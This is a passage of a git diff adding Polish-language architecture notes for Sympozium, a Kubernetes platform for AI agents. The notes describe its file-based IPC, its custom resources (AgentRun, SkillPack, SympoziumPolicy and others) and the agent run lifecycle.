AgentRun]] diff --git a/02-Architektura/Przepływ danych i IPC.md b/02-Architektura/Przepływ danych i IPC.md new file mode 100644 index 0000000..b273be6 --- /dev/null +++ b/02-Architektura/Przepływ danych i IPC.md @@ -0,0 +1,126 @@ +# Przepływ danych i IPC + +#sympozium #architektura #ipc + +## Mechanizm IPC + +Sympozium używa **filesystem-based IPC** - agenty komunikują się z control plane przez pliki JSON w woluminie `/ipc/`: + +``` +Agent tool pisze JSON → /ipc//*.json → fsnotify watcher → NATS publish → Controller +``` + +### Katalogi IPC + +| Katalog | Cel | Przykład | +|---------|-----|---------| +| `/ipc/tools/` | Wykonanie komend w sidecarze | `execute_command` | +| `/ipc/messages/` | Wysyłanie wiadomości na kanały | `send_channel_message` | +| `/ipc/schedules/` | Zarządzanie schedulami | `schedule_task` | + +## Dlaczego filesystem IPC? + +### Zalety +1. **Language-agnostic** - agent mógłby być w Pythonie, Rust, czymkolwiek +2. **Zero zależności** - agent nie potrzebuje klienta NATS ani żadnego SDK +3. **Inspekcja** - pliki JSON w woluminie można łatwo debugować +4. **Prostota** - zapis pliku to najprostsza operacja I/O +5. **Bezpieczeństwo** - agent nie ma dostępu sieciowego, tylko do woluminu + +### Jak to działa + +``` +1. Agent zapisuje /ipc/tools/cmd-12345.json: + { + "command": "kubectl get pods", + "runId": "my-run-123" + } + +2. IPC Bridge (sidecar) wykrywa plik via fsnotify + +3. Bridge publikuje na NATS: + Topic: tool.exec.request + Payload: {command, runId, instanceName} + +4. Skill sidecar (lub controller) odbiera i wykonuje + +5. Wynik wraca: NATS → IPC Bridge → /ipc/tools/result-12345.json + +6. Agent czyta wynik z pliku +``` + +## NATS Topics + +Kluczowe tematy zdefiniowane w `internal/eventbus/types.go`: + +### Lifecycle agenta +- `agent.run.requested` - żądanie nowego runu +- `agent.run.started` - run rozpoczęty +- `agent.run.completed` - run zakończony sukcesem +- `agent.run.failed` - run zakończony błędem + +### Wiadomości kanałów +- `channel.message.received` - wiadomość od użytkownika +- `channel.message.send` - wiadomość do użytkownika + +### Narzędzia +- `tool.exec.request` - żądanie wykonania komendy w sidecarze +- `tool.exec.result` - wynik wykonania + +### Scheduling +- `schedule.upsert` - agent sam tworzy/aktualizuje swój schedule + +## Wbudowane narzędzia agenta + +Agent-runner ma **7 wbudowanych narzędzi** (`cmd/agent-runner/tools.go`): + +| Narzędzie | Kategoria | Opis | +|-----------|-----------|------| +| `execute_command` | IPC (sidecar) | Uruchamia komendy shell w skill sidecarze | +| `read_file` | Native | Czyta zawartość pliku | +| `write_file` | Native | Tworzy/zapisuje pliki | +| `list_directory` | Native | Listuje zawartość katalogu | +| `send_channel_message` | IPC (bridge) | Wysyła wiadomości na kanały | +| `fetch_url` | Native | HTTP GET i zwraca body | +| `schedule_task` | IPC (bridge) | CRUD na SympoziumSchedule CRDs | + +### Natywne vs IPC + +- **Native** - narzędzia wykonywane bezpośrednio w kontenerze agenta +- **IPC (sidecar)** - narzędzia delegowane do skill sidecara przez IPC bridge +- **IPC (bridge)** - narzędzia delegowane do controllera przez NATS + +## Przepływ end-to-end + +``` +Użytkownik → Telegram + ↓ +Channel Pod (Telegram) → NATS: channel.message.received + ↓ +Channel Router → Tworzy AgentRun CR + ↓ +AgentRun Reconciler → Tworzy Job z kontenerami + ↓ +Agent Container: + 1. Czyta task z /workspace/input/ + 2. Czyta skills z /skills/ + 3. Czyta memory z /memory/ lub memory API + 4. Wywołuje LLM (OpenAI/Anthropic/etc.) + 5. LLM decyduje o użyciu narzędzia + 6. Agent pisze do /ipc/tools/ + 7. IPC Bridge → NATS → Skill Sidecar wykonuje + 8. Wynik wraca → Agent kontynuuje dialog z LLM + 9. Agent pisze wynik do stdout + ↓ +Controller zbiera logi poda + ↓ +Controller → NATS: agent.run.completed + ↓ +Channel Router → NATS: channel.message.send + ↓ +Channel Pod (Telegram) → Użytkownik +``` + +--- + +Powiązane: [[NATS JetStream - Event Bus]] | [[Cykl życia Agent Pod]] | [[Skill Sidecars i auto-RBAC]] diff --git a/03-CRD/AgentRun.md b/03-CRD/AgentRun.md new file mode 100644 index 0000000..67e0b38 --- /dev/null +++ b/03-CRD/AgentRun.md @@ -0,0 +1,136 @@ +# AgentRun + +#sympozium #crd #agentrun + +## Definicja + +`AgentRun` reprezentuje **pojedyncze wywołanie agenta**. Każdy AgentRun reconciliuje się w Kubernetes Job (tryb task) lub Deployment (tryb server). + +**Plik:** `api/v1alpha1/agentrun_types.go` + +## Spec + +```yaml +apiVersion: sympozium.ai/v1alpha1 +kind: AgentRun +metadata: + name: my-run-001 +spec: + instanceRef: my-agent # Powiązanie z SympoziumInstance + agentId: default + sessionKey: session-123 + task: "Sprawdź stan klastra" + systemPrompt: "Jesteś SRE inżynierem..." + + model: + provider: anthropic + model: claude-sonnet-4-20250514 + baseURL: "" + thinking: "high" + authSecretRef: anthropic-key + nodeSelector: + gpu-type: a100 + + mode: task|server # Job vs Deployment + + parent: # Dla sub-agentów + runName: parent-run + sessionKey: parent-session + spawnDepth: 1 + + skills: + - skillPackRef: k8s-ops + + toolPolicy: + allow: [read_file, list_directory] + deny: [execute_command] + + timeout: 5m + cleanup: delete|keep # Po zakończeniu + + sandbox: # Container-level sandbox + enabled: true + image: custom-sandbox:v1 + + agentSandbox: # Kernel-level sandbox (Sandbox CR) + enabled: true + runtimeClass: gvisor + warmPoolRef: wp-my-agent + + env: # Custom env vars + MY_VAR: my-value +``` + +## Status + +```yaml +status: + phase: Pending|Running|Serving|Succeeded|Failed + podName: my-run-001-abc123 + jobName: my-run-001 + sandboxName: my-run-001-sandbox # Agent Sandbox mode + startedAt: "2024-01-01T00:00:00Z" + completedAt: "2024-01-01T00:05:00Z" + result: "Klaster jest zdrowy. 15 podów running..." + error: "" + exitCode: 0 + tokenUsage: + inputTokens: 1500 + outputTokens: 800 + totalTokens: 2300 + toolCalls: 5 + durationMs: 45000 + traceID: "abc123def456" # OTel trace + deploymentName: "" # Server mode + serviceName: "" # Server mode +``` + +## Fazy lifecycle + +``` +""(empty) → Pending → Running → Succeeded + → Failed + → Serving (tryb server - długo żyjący) +``` + +### Przejścia faz + +| Z fazy | Do fazy | Trigger | +|--------|---------|---------| +| "" / Pending | Running | Job/Sandbox CR utworzony, pod running | +| Running | Succeeded | Pod zakończył się z kodem 0 | +| Running | Failed | Pod zakończył się z kodem != 0 lub timeout | +| Pending | Serving | Mode=server, Deployment ready | +| Serving | Succeeded | AgentRun usunięty (cleanup Deployment) | + +## Token Usage Tracking + +AgentRun śledzi zużycie tokenów LLM: +- `inputTokens` - tokeny promptu +- `outputTokens` - tokeny odpowiedzi +- `totalTokens` - suma +- `toolCalls` - liczba wywołań narzędzi +- `durationMs` - czas wall-clock w ms + +## Sub-agenty + +AgentRun wspiera hierarchię parent-child: +```yaml +parent: + runName: parent-run-001 + sessionKey: parent-session + spawnDepth: 1 # Głębokość w drzewie +``` + +Limity zdefiniowane w [[SympoziumInstance]] → `agents.default.subagents`: +- `maxDepth: 2` - max zagnieżdżenie +- `maxConcurrent: 5` - max równoległych +- `maxChildrenPerAgent: 3` - max dzieci per agent + +## History Pruning + +Controller utrzymuje max 50 zakończonych AgentRun per instancja (konfigurowalny `RunHistoryLimit`). Starsze są automatycznie usuwane. + +--- + +Powiązane: [[SympoziumInstance]] | [[Cykl życia AgentRun]] | [[Cykl życia Agent Pod]] diff --git a/03-CRD/MCPServer.md b/03-CRD/MCPServer.md new file mode 100644 index 0000000..94003f0 --- /dev/null +++ b/03-CRD/MCPServer.md @@ -0,0 +1,104 @@ +# MCPServer + +#sympozium #crd #mcp + +## Definicja + +`MCPServer` zarządza lifecycle **serwerów MCP (Model Context Protocol)** w klastrze. Wspiera stdio (z HTTP adapterem), HTTP i external transport. + +**Plik:** `api/v1alpha1/mcpserver_types.go` + +## Spec + +```yaml +apiVersion: sympozium.ai/v1alpha1 +kind: MCPServer +metadata: + name: github-mcp +spec: + transportType: stdio|http + + # Dla external/pre-existing serwerów (bez deploymentu): + url: "http://external-mcp.example.com/mcp" + + # Dla managed serwerów: + deployment: + image: ghcr.io/my-org/github-mcp:v1 + cmd: "/usr/bin/github-mcp-server" + args: ["--stdio"] + port: 8080 + env: + LOG_LEVEL: info + secretRefs: + - name: github-token + resources: + requests: + cpu: "100m" + memory: "128Mi" + serviceAccountName: github-mcp-sa + + toolsPrefix: gh # Prefix unikający kolizji + timeout: 30 + replicas: 1 + toolsAllow: [create_issue] # Whitelist narzędzi + toolsDeny: [delete_repo] # Blacklist narzędzi +``` + +## Dwa tryby + +### Managed (z deployment spec) +Controller tworzy Deployment + Service: +- stdio → HTTP adapter automatycznie +- Probing narzędzi po starcie +- Lifecycle zarządzany przez controller + +### External (z URL) +Tylko referencja do istniejącego serwera: +- Brak deploymentu +- Probing narzędzi pod podanym URL +- Użytkownik zarządza lifecycle + +## Tool Discovery + +Po starcie MCPServer, controller: +1. Probeuje endpoint MCP +2. Odkrywa dostępne narzędzia +3. Aplikuje `toolsAllow` / `toolsDeny` filtry +4. Zapisuje listę narzędzi w `status.tools` +5. Prefiksuje nazwy: `gh_create_issue`, `gh_list_repos` + +## Status + +```yaml +status: + ready: true + url: "http://github-mcp.sympozium-system.svc:8080" + toolCount: 12 + tools: [create_issue, list_repos, ...] +``` + +## Integracja z agentem + +``` +SympoziumInstance → mcpServers: [{name: github-mcp, toolsPrefix: gh}] + ↓ +AgentRun tworzony → Reconciler: + 1. Rozwiązuje MCPServer CR → pobiera URL ze status + 2. Tworzy MCP ConfigMap z konfiguracją serwerów + 3. Dodaje mcp-bridge sidecar do poda + ↓ +Agent w podzie: + - mcp-bridge sidecar tłumaczy tool calls → MCP protocol + - Narzędzia widoczne jako prefixed: gh_create_issue, gh_list_repos +``` + +## Tool namespacing + +Prefiksy zapobiegają kolizjom gdy wiele MCP serwerów jest aktywnych: +- `gh_create_issue` (GitHub MCP) +- `jira_create_ticket` (Jira MCP) +- `slack_send_message` (Slack MCP) + +--- + +Powiązane: [[MCP Servers - Model Context Protocol]] | [[SympoziumInstance]] | [[Przepływ danych i IPC]] diff --git a/03-CRD/PersonaPack.md b/03-CRD/PersonaPack.md new file mode 100644 index 0000000..50faf64 --- /dev/null +++ b/03-CRD/PersonaPack.md @@ -0,0 +1,132 @@ +# PersonaPack + +#sympozium #crd #personapack + +## Definicja + +`PersonaPack` to CRD bundlujący **wiele pre-konfigurowanych person agentów**. Aktywacja packa powoduje automatyczne tworzenie SympoziumInstances, Schedules i memory seeds. + +**Plik:** `api/v1alpha1/personapack_types.go` + +## Analogia + +PersonaPack jest dla agentów AI tym, czym Helm Chart dla aplikacji K8s - **deklaratywny bundle** który controller "rozpakowuje" w konkretne zasoby. + +## Spec + +```yaml +apiVersion: sympozium.ai/v1alpha1 +kind: PersonaPack +metadata: + name: platform-team +spec: + enabled: true # Dopóki false - katalog; true - controller stampuje + description: "Core platform engineering team" + category: platform + version: "1.0.0" + + authRefs: # Credentials (ustawiane przy aktywacji) + - provider: openai + secret: platform-team-openai-key + + policyRef: restrictive # Wspólna polityka + baseURL: "" # Override dla lokalnych providerów + + channelConfigs: # Mapowanie kanał → secret + telegram: telegram-creds + + skillParams: # Parametry per-skill + github-gitops: + REPO: my-org/my-repo + + taskOverride: "Focus on reducing MTTR" # Nadpisanie celów + + excludePersonas: # Wyłączone persony + - cost-analyzer + + channelAccessControl: + telegram: + allowedSenders: ["123456"] + + agentSandbox: # Kernel-level isolation dla wszystkich + enabled: true + runtimeClass: gvisor + + personas: + - name: security-guardian + displayName: "Security Guardian" + systemPrompt: | + You are a Kubernetes security specialist... + model: claude-sonnet-4-20250514 + skills: + - k8s-ops + - sre-observability + toolPolicy: + allow: [execute_command, read_file, fetch_url] + channels: + - telegram + schedule: + type: heartbeat + interval: "30m" + task: "Run security audit on all namespaces" + memory: + enabled: true + seeds: + - "Track CVEs found in previous scans" + - "Remember cluster topology changes" +``` + +## Mechanizm aktywacji + +``` +PersonaPack (enabled: false) → Katalog (TUI pokazuje jako dostępny) + ↓ + Użytkownik aktywuje (TUI wizard / kubectl patch) + ↓ +PersonaPack (enabled: true, authRefs set) → Controller stampuje: + ├── Secret: platform-team-openai-key + ├── SympoziumInstance: platform-team-security-guardian + │ ├── SympoziumSchedule + ConfigMap memory (seeded) + ├── SympoziumInstance: platform-team-sre-watchdog + │ ├── SympoziumSchedule + ConfigMap memory (seeded) + └── SympoziumInstance: platform-team-platform-engineer + └── SympoziumSchedule + ConfigMap memory (seeded) +``` + +## Wbudowane packi + +| Pack | Kategoria | Agenty | Opis | +|------|-----------|--------|------| +| `platform-team` | Platform | Security Guardian, SRE Watchdog, Platform Engineer | Bezpieczeństwo, health, manifest review | +| `devops-essentials` | DevOps | Incident Responder, Cost Analyzer | Triage incydentów, right-sizing | +| `developer-team` | Development | 7 agentów (Tech Lead, Backend/Frontend Dev, QA, Code Reviewer, DevOps, Docs Writer) | Pełny zespół dev | + +## Status + +```yaml +status: + phase: Pending|Ready|Error + personaCount: 3 + installedCount: 3 + installedPersonas: + - name: security-guardian + instanceName: platform-team-security-guardian + scheduleName: platform-team-security-guardian-schedule +``` + +## ownerReferences + +Wszystkie wygenerowane zasoby mają `ownerReference` → PersonaPack. Usunięcie packa = garbage collection całego zespołu. + +## Znaczenie architektoniczne + +PersonaPacks rozwiązują problem **Day 1 Experience** - zamiast ręcznie tworzyć Secret + Instance + Schedule + Memory per agent, użytkownik: +1. Wybiera pack w TUI +2. Podaje klucz API +3. Cały zespół agentów jest gotowy + +To także wzorzec **Infrastructure as Code dla AI Teams** - deklarujesz zespół agentów w YAML, controller realizuje intent. + +--- + +Powiązane: [[PersonaPacks - zespoły agentów]] | [[SympoziumInstance]] | [[SympoziumSchedule]] diff --git a/03-CRD/SkillPack.md b/03-CRD/SkillPack.md new file mode 100644 index 0000000..b2a708d --- /dev/null +++ b/03-CRD/SkillPack.md @@ -0,0 +1,131 @@ +# SkillPack + +#sympozium #crd #skillpack + +## Definicja + +`SkillPack` to CRD bundlujący **Markdown instrukcje + opcjonalny sidecar kontener + RBAC**. Skills montowane są jako pliki w podzie agenta. + +**Plik:** `api/v1alpha1/skillpack_types.go` + +## Dwuwarstwowa architektura skilli + +### Warstwa 1: Instrukcje (Markdown) +Każdy skill to plik Markdown montowany w `/skills/` - agent czyta go jako instrukcje do LLM. + +### Warstwa 2: Sidecar (opcjonalny) +Sidecar to kontener z narzędziami (kubectl, helm, git) + auto-provisioned RBAC. + +## Spec + +```yaml +apiVersion: sympozium.ai/v1alpha1 +kind: SkillPack +metadata: + name: k8s-ops +spec: + category: kubernetes + version: "1.0.0" + + skills: + - name: k8s-ops + description: "Kubernetes operations" + content: | + # Kubernetes Operations + You have access to kubectl via the execute_command tool... + requires: + bins: [kubectl] + tools: [execute_command] + + sidecar: + image: ghcr.io/sympozium-ai/sympozium/skill-k8s-ops:v0.0.25 + command: ["sleep", "infinity"] + mountWorkspace: true + env: + - name: KUBECONFIG + value: /var/run/secrets/kubernetes.io/serviceaccount/token + resources: + cpu: "100m" + memory: "128Mi" + + rbac: # Namespace-scoped RBAC + - apiGroups: ["", "apps"] + resources: ["pods", "deployments"] + verbs: ["get", "list", "watch"] + + clusterRBAC: # Cluster-scoped RBAC + - apiGroups: [""] + resources: ["nodes", "namespaces"] + verbs: ["get", "list", "watch"] + + secretRef: github-token # Sekrety montowane w sidecarze + secretMountPath: /secrets/github + + hostAccess: # Dostęp do hosta (np. node-probe) + enabled: false + hostNetwork: false + hostPID: false + privileged: false + mounts: + - hostPath: /var/log + mountPath: /host-logs + readOnly: true + + requiresServer: false # Czy wymaga Deployment zamiast Job + ports: + - name: http + containerPort: 8080 +``` + +## Status + +```yaml +status: + phase: Ready + configMapName: skillpack-k8s-ops + skillCount: 1 +``` + +## Cykl życia + +``` +SkillPack CR utworzony + ↓ +SkillPackReconciler → Generuje ConfigMap z Markdown contentem + ↓ +SympoziumInstance referencjonuje skill + ↓ +AgentRun tworzony → AgentRunReconciler: + 1. Czyta SkillPack → wyciąga sidecar spec + 2. Tworzy Role + RoleBinding (namespace RBAC) + 3. Tworzy ClusterRole + ClusterRoleBinding (cluster RBAC) + 4. Dodaje sidecar kontener do pod spec + 5. Montuje ConfigMap jako /skills/ volume + ↓ +Po zakończeniu AgentRun: + - Namespace RBAC: garbage-collected via ownerReference + - Cluster RBAC: cleaned up by controller via label selector +``` + +## Parametryzacja + +SkillPacks mogą być parametryzowane per-instancja: + +```yaml +# W SympoziumInstance +skills: + - skillPackRef: github-gitops + params: + REPO: my-org/my-repo + BRANCH: main +``` + +Parametry injektowane jako `SKILL_REPO`, `SKILL_BRANCH` env vars w sidecarze. + +## RequiresServer + +Gdy `sidecar.requiresServer: true`, AgentRun tworzony jest w trybie `server` (Deployment + Service zamiast Job). Przykład: skill `web-endpoint`. + +--- + +Powiązane: [[Skill Sidecars i auto-RBAC]] | [[Efemeryczny RBAC per-run]] | [[SympoziumInstance]] diff --git a/03-CRD/SympoziumInstance.md b/03-CRD/SympoziumInstance.md new file mode 100644 index 0000000..b95a62e --- /dev/null +++ b/03-CRD/SympoziumInstance.md @@ -0,0 +1,119 @@ +# SympoziumInstance + +#sympozium #crd #instance + +## Definicja + +`SympoziumInstance` to centralny CRD reprezentujący **jednego tenanta/użytkownika**. Deklaruje konfigurację kanałów, agentów, skillów, polityk i memory. + +**Plik:** `api/v1alpha1/sympoziuminstance_types.go` + +## Spec + +```yaml +apiVersion: sympozium.ai/v1alpha1 +kind: SympoziumInstance +metadata: + name: my-agent +spec: + channels: # Podłączone kanały + - type: telegram + configRef: + secret: telegram-creds + accessControl: + allowedSenders: ["123456"] + + agents: + default: + model: gpt-4.1 + baseURL: "" # Override dla OpenAI-compat + thinking: "medium" # off/low/medium/high + sandbox: + enabled: false + agentSandbox: # Kernel-level isolation + enabled: true + runtimeClass: gvisor + warmPool: + size: 3 + subagents: + maxDepth: 2 + maxConcurrent: 5 + maxChildrenPerAgent: 3 + nodeSelector: # Pinning do GPU node'ów + gpu-type: "a100" + + skills: # SkillPacks do montowania + - skillPackRef: k8s-ops + params: + CLUSTER: production + - skillPackRef: memory + + policyRef: restrictive # Polityka bezpieczeństwa + + authRefs: # Klucze API + - provider: openai + secret: openai-key + + memory: # Legacy ConfigMap memory + enabled: true + maxSizeKB: 256 + + observability: # OpenTelemetry + enabled: true + otlpEndpoint: "otel-collector.observability.svc:4317" + + mcpServers: # External tool providers + - name: github + toolsPrefix: gh + timeout: 30 +``` + +## Status + +```yaml +status: + phase: Running|Serving|Pending|Error + channels: + - type: telegram + status: Connected|Disconnected|Error + activeAgentPods: 2 + totalAgentRuns: 150 + webEndpoint: + status: Ready + url: "alice.sympozium.example.com" +``` + +## Kluczowe koncepty + +### Multi-tenancy +Każda SympoziumInstance to osobny tenant z: +- Własnymi kanałami +- Własnymi credentials (AuthRefs) +- Własną polityką +- Własną memory +- Własnymi MCP serverami + +### Reconciliation +`SympoziumInstanceReconciler` zarządza: +1. **Channel Deployments** - tworzy/aktualizuje Deployment per kanał +2. **Memory ConfigMap** - legacy `-memory` ConfigMap +3. **Memory PVC** - SQLite DB dla memory SkillPack +4. **Memory Deployment** - memory-server Deployment + Service +5. **Web Endpoints** - server-mode AgentRun dla web-endpoint skill + +### Finalizery +Przy usunięciu instancji controller: +- Czyści channel deployments +- Czyści memory ConfigMap +- Czyści memory deployment + +### Channel Access Control +Kanały mogą ograniczać kto może komunikować się z agentem: +- `allowedSenders` - whitelist ID nadawców +- `deniedSenders` - blacklist (nadpisuje whitelist) +- `allowedChats` - whitelist ID czatów/grup +- `denyMessage` - wiadomość dla odrzuconych + +--- + +Powiązane: [[AgentRun]] | [[PersonaPack]] | [[SympoziumPolicy]] | [[Kanały - Telegram Slack Discord WhatsApp]] diff --git a/03-CRD/SympoziumPolicy.md b/03-CRD/SympoziumPolicy.md new file mode 100644 index 0000000..462b4fc --- /dev/null +++ b/03-CRD/SympoziumPolicy.md @@ -0,0 +1,95 @@ +# SympoziumPolicy + +#sympozium #crd #policy #security + +## Definicja + +`SympoziumPolicy` definiuje **polityki governance** nad zachowaniem agentów: sandbox requirements, network isolation, tool access i resource limits. + +**Plik:** `api/v1alpha1/sympoziumpolicy_types.go` + +## Spec + +```yaml +apiVersion: sympozium.ai/v1alpha1 +kind: SympoziumPolicy +metadata: + name: restrictive +spec: + sandboxPolicy: + required: true # Sandbox obowiązkowy + defaultImage: sandbox:v1 + maxCPU: "1" + maxMemory: "1Gi" + allowHostMounts: false + seccompProfile: + type: RuntimeDefault + agentSandboxPolicy: # Agent Sandbox (gVisor/Kata) + required: true + defaultRuntimeClass: gvisor + allowedRuntimeClasses: [gvisor, kata] + + subagentPolicy: + maxDepth: 3 # Max zagnieżdżenie sub-agentów + maxConcurrent: 5 # Max równoległych + + toolGating: + defaultAction: deny # deny/allow/ask + rules: + - tool: read_file + action: allow + - tool: execute_command + action: deny + - tool: write_file + action: ask + + featureGates: + memory: true + web-endpoint: false + channels: true + + networkPolicy: + denyAll: true # Deny-all egress + allowDNS: true # Wyjątek: DNS + allowEventBus: true # Wyjątek: NATS + allowedEgress: # Dodatkowe wyjątki + - host: "api.openai.com" + port: 443 +``` + +## Enforcement + +Polityki są enforced przez **admission webhook** - nie at runtime, ale **at admission time** (przed utworzeniem poda): + +``` +AgentRun CR → API Server → Admission Webhook → SympoziumPolicy check + ├── PASS → CR created + └── DENY → CR rejected +``` + +## Presetowe polityki + +| Polityka | Kto | Kluczowe reguły | +|----------|-----|-----------------| +| **Permissive** | Dev, demo | Wszystkie tools dozwolone, brak sandbox requirement | +| **Default** | Ogólne użycie | `execute_command` wymaga approval, reszta dozwolona | +| **Restrictive** | Produkcja | Wszystko domyślnie denied, whitelist, sandbox required | + +## NetworkPolicy + +Polityka `networkPolicy` generuje Kubernetes NetworkPolicy: +- **denyAll: true** - agent pods nie mają dostępu do internetu ani innych podów +- **allowDNS: true** - wyjątek dla rozwiązywania nazw +- **allowEventBus: true** - wyjątek dla NATS (tylko IPC bridge) +- **allowedEgress** - whitelist konkretnych endpointów (np. API providerów LLM) + +## Status + +```yaml +status: + boundInstances: 5 # Ile instancji używa tej polityki +``` + +--- + +Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[Admission Webhooks i polityki]] | [[NetworkPolicy i izolacja sieciowa]] diff --git a/03-CRD/SympoziumSchedule.md b/03-CRD/SympoziumSchedule.md new file mode 100644 index 0000000..962572a --- /dev/null +++ b/03-CRD/SympoziumSchedule.md @@ -0,0 +1,77 @@ +# SympoziumSchedule + +#sympozium #crd #schedule + +## Definicja + +`SympoziumSchedule` definiuje **recurring tasks** dla SympoziumInstance - analogicznie do CronJob, ale tworzy AgentRun zamiast Pod. + +**Plik:** `api/v1alpha1/sympoziumschedule_types.go` + +## Spec + +```yaml +apiVersion: sympozium.ai/v1alpha1 +kind: SympoziumSchedule +metadata: + name: my-agent-health-check +spec: + instanceRef: my-agent + schedule: "*/30 * * * *" # Co 30 minut + task: "Run comprehensive health check" + type: heartbeat|scheduled|sweep + suspend: false + concurrencyPolicy: Forbid|Allow|Replace + includeMemory: true # Inject MEMORY.md do kontekstu +``` + +## Typy scheduli + +| Typ | Opis | Typowy interwał | +|-----|------|-----------------| +| `heartbeat` | Regularne sprawdzanie stanu | 5-30 minut | +| `scheduled` | Zaplanowane zadania | Godzinowo/dziennie | +| `sweep` | Przeglądy i cleanup | Dziennie/tygodniowo | + +## Concurrency Policy + +| Polityka | Zachowanie | +|----------|------------| +| `Forbid` | Nie twórz nowego runu jeśli poprzedni jeszcze działa | +| `Allow` | Pozwól na równoległe uruchomienia | +| `Replace` | Anuluj poprzedni run i utwórz nowy | + +## Self-scheduling + +Agenty mogą **same zarządzać swoimi schedulami** przez narzędzie `schedule_task`: + +``` +Agent → /ipc/schedules/create-schedule.json → IPC Bridge → NATS: schedule.upsert + → Schedule Router → tworzy/aktualizuje SympoziumSchedule CRD +``` + +Operacje: create, update, suspend, resume, delete. + +## Status + +```yaml +status: + phase: Active|Suspended|Error + lastRunTime: "2024-01-01T12:00:00Z" + nextRunTime: "2024-01-01T12:30:00Z" + lastRunName: my-agent-health-check-run-42 + totalRuns: 200 +``` + +## Reconciliation + +`SympoziumScheduleReconciler`: +1. Oblicza `nextRunTime` z cron expression +2. Kiedy `now >= nextRunTime`: + - Sprawdza concurrency policy + - Tworzy AgentRun CR z task + opcjonalnie memory + - Aktualizuje `lastRunTime` i `lastRunName` + +--- + +Powiązane: [[Scheduled Tasks - heartbeaty i swepy]] | [[SympoziumInstance]] | [[AgentRun]] diff --git a/04-Zarządzanie-Agentami/Cykl życia AgentRun.md b/04-Zarządzanie-Agentami/Cykl życia AgentRun.md new file mode 100644 index 0000000..2f97b8c --- /dev/null +++ b/04-Zarządzanie-Agentami/Cykl życia AgentRun.md @@ -0,0 +1,150 @@ +# Cykl życia AgentRun + +#sympozium #agenty #lifecycle + +## Pełny przepływ reconciliation + +`AgentRunReconciler` to **największy i najważniejszy controller** w systemie (~900 linii kodu). Zarządza pełnym lifecycle od Pending do Completed. + +## Faza: Pending → Running + +``` +reconcilePending(): +│ +├── 1. validatePolicy() +│ └── Sprawdza SympoziumPolicy: +│ - Sandbox requirements +│ - Tool gating +│ - Feature gates +│ - AgentSandbox policy +│ +├── 2. Agent Sandbox check +│ └── Jeśli agentSandbox.enabled → reconcilePendingAgentSandbox() +│ (tworzy Sandbox CR zamiast Job) +│ +├── 3. ensureAgentServiceAccount() +│ └── ServiceAccount "sympozium-agent" w target namespace +│ +├── 4. createInputConfigMap() +│ └── ConfigMap z task, system prompt, memory context +│ +├── 5. Lookup SympoziumInstance +│ ├── Memory enabled? → prepend memory instructions +│ ├── Observability config → inject OTel env vars +│ ├── Skills inheritance → copy from instance if empty +│ └── MCP servers → resolve URLs from MCPServer CRs +│ +├── 6. ensureMCPConfigMap() +│ └── ConfigMap z konfiguracją MCP serwerów +│ +├── 7. resolveSkillSidecars() +│ └── SkillPack CRDs → resolved sidecar specs +│ +├── 8. Server mode check +│ └── mode=server → reconcilePendingServer() (Deployment+Service) +│ +├── 9. Filter server-only sidecars (task mode) +│ +├── 10. Memory server readiness check +│ └── Jeśli memory skill → sprawdź czy Deployment istnieje +│ +├── 11. Build Job +│ ├── PodBuilder.BuildAgentContainer() +│ ├── PodBuilder.BuildIPCBridgeContainer() +│ ├── Skill sidecar containers +│ ├── MCP bridge sidecar (jeśli MCP servers) +│ ├── Sandbox sidecar (jeśli enabled) +│ ├── Memory volumes/init containers +│ ├── Secret mirroring (system → run namespace) +│ └── OTel tracing setup +│ +├── 12. Create ephemeral RBAC +│ ├── Role + RoleBinding (namespace-scoped, ownerRef) +│ └── ClusterRole + ClusterRoleBinding (label-based) +│ +├── 13. NetworkPolicy +│ └── deny-all + allow DNS + allow NATS +│ +└── 14. Create Job → Status: Running +``` + +## Faza: Running + +``` +reconcileRunning(): +│ +├── Poll Job status (co 10s via requeue) +│ +├── Pod Succeeded → extractResults(): +│ ├── Read pod logs +│ ├── Extract result text +│ ├── Extract memory markers (__SYMPOZIUM_MEMORY__) +│ ├── Patch memory ConfigMap +│ ├── Extract token usage +│ └── Set status.result, completedAt, tokenUsage +│ → Status: Succeeded +│ +├── Pod Failed → +│ ├── Read pod logs for error +│ ├── Set status.error, exitCode +│ └── Status: Failed +│ +└── Timeout → failRun() → Status: Failed +``` + +## Faza: Succeeded/Failed + +``` +reconcileCompleted(): +│ +├── Clean up ephemeral RBAC +│ ├── Delete ClusterRole (label: agentrun=) +│ └── Delete ClusterRoleBinding +│ +├── Prune run history +│ └── Keep max 50 runs per instance (DefaultRunHistoryLimit) +│ +└── Remove finalizer → AgentRun deletable +``` + +## Faza: Serving (server mode) + +``` +reconcileServing(): +│ +├── Sprawdź Deployment health +├── Sprawdź Service health +├── Reconcile HTTPRoute (Envoy Gateway) +└── Requeue co 30s +``` + +## Obsługa usunięcia + +``` +reconcileDelete(): +│ +├── Delete server-mode resources (Deployment, Service, HTTPRoute) +├── Delete ephemeral RBAC +├── Delete input ConfigMap +├── Delete MCP ConfigMap +├── Remove finalizer +└── AgentRun usunięty +``` + +## OTel Tracing + +Każda faza reconciliation jest tracowana: +- `agentrun.reconcile` - główny span +- `agentrun.create_job` - tworzenie Job +- Traceparent propagowany do agent poda via env var +- TraceID zapisany w `status.traceID` + +## Metryki + +- `sympozium.agent.runs` - counter (success/failure labels) +- `sympozium.agent.duration_ms` - histogram czasu trwania +- `sympozium.errors` - counter błędów + +--- + +Powiązane: [[AgentRun]] | [[Cykl życia Agent Pod]] | [[Orchestrator - PodBuilder i Spawner]] diff --git a/04-Zarządzanie-Agentami/Model efemerycznych agentów.md b/04-Zarządzanie-Agentami/Model efemerycznych agentów.md new file mode 100644 index 0000000..1715368 --- /dev/null +++ b/04-Zarządzanie-Agentami/Model efemerycznych agentów.md @@ -0,0 +1,82 @@ +# Model efemerycznych agentów + +#sympozium #agenty #architektura #ephemeral + +## Fundamentalna decyzja + +Sympozium implementuje **model efemeryczny**: każde wywołanie agenta tworzy nowy Kubernetes [[Job]], który po zakończeniu jest usuwany. To odwrotność podejścia "persistent engine" stosowanego w kagent, LangChain, CrewAI. + +## Jak to działa + +``` +Wiadomość użytkownika + ↓ +Channel Router tworzy AgentRun CR + ↓ +AgentRun Reconciler tworzy Job: + - Agent container (LLM loop) + - IPC Bridge sidecar + - Skill sidecars (z efemerycznym RBAC) + - Opcjonalnie: sandbox, MCP bridge + ↓ +Agent wykonuje zadanie (sekundy-minuty) + ↓ +Job ends → Pod usunięty → RBAC usunięty → Zasoby zwolnione +``` + +## Implikacje + +### Izolacja (zalety) +- **Blast-radius** ograniczony do jednego poda - misbehaving agent nie wpływa na innych +- 